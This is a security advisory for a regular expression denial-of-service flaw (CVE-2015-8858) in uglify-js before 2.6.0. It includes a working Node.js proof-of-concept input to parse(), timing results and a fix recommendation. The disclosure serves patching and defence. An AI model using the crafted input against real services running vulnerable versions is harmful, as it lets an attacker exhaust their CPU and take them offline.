Regular Expression Denial of Service in uglify-js (GHSA-c9f4-xj24-8jqx)
Published: 2017-10-24T18:33:36Z
Aliases: CVE-2015-8858
Severity: HIGH · CWE: CWE-1333

Versions of `uglify-js` prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the `parse()` method.


### Proof of Concept

```
var u = require('uglify-js');
var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}

u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
```

### Results
```
$ time node test.js 10000
real	0m1.091s
user	0m1.047s
sys	0m0.039s

$ time node test.js 80000
real	0m6.486s
user	0m6.229s
sys	0m0.094s
```


## Recommendation

Update to version 2.6.0 or later.

Affected packages:
package: ecosystem: npm
name: uglify-js
ranges: type: ECOSYSTEM
events: introduced: 0
fixed: 2.6.0